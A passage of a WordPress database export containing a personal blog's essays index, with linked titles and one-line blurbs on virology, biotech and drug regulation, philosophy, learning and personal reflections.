is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Biotech</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-get-rich-combining-generic-drugs-lessons-from-axsome/\" data-type=\"page\" data-id=\"540\">How to get rich combining generic drugs: lessons from Axsome</a> - Lessons from the masters of drug repurposing</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/another-entry-for-the-repurposing-files/\" data-type=\"page\" data-id=\"530\">Another entry for the repurposing files</a> - Combining generics for obstructive sleep apnea</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/regulators-almost-killed-biotech-before-it-began/\" data-type=\"page\" data-id=\"510\">Regulators almost killed biotech before it began</a> - The early days of Genentech.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-brief-analysis-of-the-plasticlist-report/\" data-type=\"page\" data-id=\"508\">A brief analysis of the PlasticList report</a> - Breaking it down. What got me interested in plasticizers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-drugs-good-depends-on-what-youre-trying-to-do/\" data-type=\"page\" data-id=\"494\">Are drugs good? Are side effects bad? It depends on what you\'re trying to do</a> - A plea for sanity around whether psychedelics are \"good\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-list-of-health-problems-that-should-be-solved-pet-first/\">A list of health problems that should be solved pet first</a> - Trying to recruit people to join animal health and solve these problems. Free alpha! </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-short-rundown-of-how-animal-drugs-are-regulated/\">A short rundown of how animal drugs are regulated</a> - CVM looks for safety, efficacy, and manufacturing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/animal-health-is-still-in-its-infancy/\">Animal health is still in its infancy</a> - There\'s a lot of room left to grow before veterinary work is as \"mature\" as human health work. You should come work in animal health!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/viking-therapeutics-has-an-8-billion-market-cap-with-27-full-time-employees-this-is-their-story/\" data-type=\"page\" data-id=\"438\">Viking Therapeutics has an $8 billion market cap with 27 employees. This is their story</a>. - Showing that you don\'t really need discovery capabilities as a biotech startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/karuna-therapeutics-a-drug-repurposing-effort-sold-for-about-14-billion-this-is-their-story/\" data-type=\"page\" data-id=\"433\">Karuna Therapeutics sold for about $14 billion. This is their story.</a> - The greatest drug repurposing success of all time? Probably. Can I match it? Probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/pharmacokinetics-drug-developments-broken-stair/\" data-type=\"page\" data-id=\"413\">Pharmacokinetics: drug development\'s broken stairs</a> - Explaining why the biotech world\'s understanding of PK sucks and what to do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-rational-drug-design-meets-an-irrational-disease/\" data-type=\"page\" data-id=\"405\">When rational drug design meets an irrational disease</a> - The story of tofersen (a.k.a. Qalsody), Biogen\'s sketchy ALS drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/letter-to-a-young-biotech-founder/\" data-type=\"page\" data-id=\"369\">Letter to a young biotech founder</a> - Advice to those who want to start a biotech, especially just out of their PhD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-manufacture-a-drug/\" data-type=\"page\" data-id=\"367\">How to manufacture a drug</a> - My brief introduction into how drugs are actually made, based on personal experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/we-have-changed-the-language-game-we-play-with-computers/\" data-type=\"page\" data-id=\"389\">We have changed the language game we play with computers</a> - Exploring LLMs through Wittgenstein\'s lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-ethical-philosophers-be-ethical-themselves/\" data-type=\"page\" data-id=\"387\">Should ethical philosophers be ethical themselves?</a> Yes. It\'s weird that I have to argue this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-live-in-a-world-that-philosophy-built/\" data-type=\"page\" data-id=\"385\">You live in a world that philosophy built</a> - Even if you ignore philosophy, philosophy has not ignored you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-humans-in-machine-society/\" data-type=\"page\" data-id=\"544\">The place of humans in machine society</a> - my dog can\'t do anything in my apartment without my assistance. Is that the fate of humans to come?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/call-of-duty-as-a-lens-into-american-foreign-policy-from-2003-2025/\" data-type=\"page\" data-id=\"542\">Call of Duty as a lens into American foreign policy from 2003-2025</a> - My (failed) entry into the ACX not-book reviews. A very long post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/e-is-for-engaged/\" data-type=\"page\" data-id=\"536\">E is for Engaged</a> - I got engaged! Hurrah!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/32nd-birthday-dreams-of-waterworld/\" data-type=\"page\" data-id=\"534\">32nd birthday thoughts of Waterworld</a> - Turning 32 in a stranger world than the one I lived in the year before.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/10-years-out-from-princeton-and-headed-back/\" data-type=\"page\" data-id=\"532\">10 years out from Princeton and headed back</a> - Written right before my 10th reunion, and not entirely complimentary. Did I mention I went to Princeton?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/plainclothes-ice-officers-threaten-the-trust-needed-for-the-police-to-function/\" data-type=\"page\" data-id=\"522\">Plainclothes ICE officers threaten the trust needed for the police to function</a> - A very political post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-performative-cruelty-of-it/\" data-type=\"page\" data-id=\"520\">The performative cruelty of it</a> - Not so crypto political post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-responsibility-of-size/\" data-type=\"page\" data-id=\"514\">On the responsibility of size</a> - a crypto political post (crypto as in secret, not cryptocurrency).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-am-i-and-llms-so-bad-at-scrabble/\" data-type=\"page\" data-id=\"512\">Why am I (and LLMs) bad at Scrabble?</a> - Trying to understand my own mind and the mind of AIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/reflections-on-a-brief-visit-to-florida/\" data-type=\"page\" data-id=\"506\">Reflections on a brief visit to Florida</a> - Visiting my parents in the land of elderly Jews (and their spouses).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manhattan-project-through-the-eyes-of-fermi/\" data-type=\"page\" data-id=\"502\">The Manhattan Project through the eyes of Fermi</a> - a fragmented summary of <em>The Making of the Atomic Bomb</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-brief-personal-history-of-optimistic-futures/\">A brief, personal history of optimistic futures</a> - a weird, short intellectual autobiography.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lessons-on-getting-things-done-from-robert-moses/\">Lessons on getting things done from Robert Moses</a> - a semi book review of <em>the Power Broker</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/culturing-honesty/\">Culturing honesty</a> - In praise of honesty and in attack of David Graeber.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-friend-claude/\">My friend, Claude</a> - In which I become more reliant on AIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief\">Thoughts on California from a brief visit</a> - Disneyland, LA, and SF. A dizzying, intoxicating, overdosing combination.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/birthday-dreams/\" data-type=\"page\" data-id=\"450\">Birthday dreams</a> - Turning my newsletter into a platform for sharing my dreams.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-your-family-becomes-inverse-strangers/\" data-type=\"page\" data-id=\"436\">When your family becomes inverse strangers</a> - Being sad while looking at old postcards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lets-be-more-sincere-in-the-new-year/\" data-type=\"page\" data-id=\"427\">Let\'s be more sincere in the New Year</a> - A plead for sincerity, because that\'s how our society runs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/i-have-no-gift-for-gift-giving/\" data-type=\"page\" data-id=\"423\">I have no gift for gift-giving </a>- A Christmas-themed post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-life-through-halo/\" data-type=\"page\" data-id=\"421\">My life through Halo</a> - Nostalgia through a videogames lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-preciousness-of-life/\" data-type=\"page\" data-id=\"417\">On the preciousness of life</a> - Politics through a nostalgic lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-geosciences-paper-is-fraudulent-im-not-surprised/\" data-type=\"page\" data-id=\"411\">A geosciences paper is fraudulent? I\'m not surprised.</a> - Unpacking my trauma of my undergraduate experience in geosciences, which I maintain is a stupid field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-tao-of-fetch/\" data-type=\"page\" data-id=\"409\">The Tao of Fetch</a> - My ode to my best boy, Jasper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/back-then-i-never-thought-itd-be-a-long-time-ago/\" data-type=\"page\" data-id=\"407\">Back then, I never thought it\'d be a long time ago</a> - A nostalgia trip provoked by a physical trip (to Iceland).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing/\" data-type=\"page\" data-id=\"401\">Why do we try to redeem criminals by looking at their upbringing? </a>Answering the title question through psychology and philosophy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/looking-for-your-keys-under-the-light/\" data-type=\"page\" data-id=\"399\">Looking for your keys under the light</a> - Sort of a philosophical essay based on a joke. Hard to explain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-apply-for-masshealth-an-18-step-guide/\" data-type=\"page\" data-id=\"397\">How to apply for MassHealth: an 18 step guide</a> - My journey through the MA healthcare bureaucracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bloody-mary-was-not-especially-bloody/\" data-type=\"page\" data-id=\"395\">Bloody Mary was not especially bloody</a> - Politics through a historical lens or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/something-interesting-is-happening-in-tulsa/\" data-type=\"page\" data-id=\"391\">Something interesting is happening in Tulsa</a> - My Birthright trip to Tulsa, Oklahoma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-an-ai-ever-be-as-intelligent-as-a-bat/\" data-type=\"page\" data-id=\"381\">Can an AI ever be as intelligent as a bat?</a> - Questioning intelligence with assistance from Thomas Nagel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/part-of-why-chatgpts-writing-ability-surprises/\" data-type=\"page\" data-id=\"379\">Part of why ChatGPT\'s writing ability surprises</a> - Trying to generalize from ChatGPT\'s writing ability to my own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/definitions-have-consequences/\" data-type=\"page\" data-id=\"377\">Definitions have consequences</a> - It\'s another AI post, this time yelling about the idea of \"AGI\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-advice-about-going-to-grad-school-to-change-your-career/\" data-type=\"page\" data-id=\"375\">My advice about going to grad school to change your career</a> - Basically, be careful before you spend $100k. Weird that I have to say this, but grad school marketing is strong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','publish','closed','closed','','essays','','','2025-07-03 20:57:37','2025-07-03 20:57:37','',0,'https://trevorklee.com/?page_id=22',0,'page','',0),
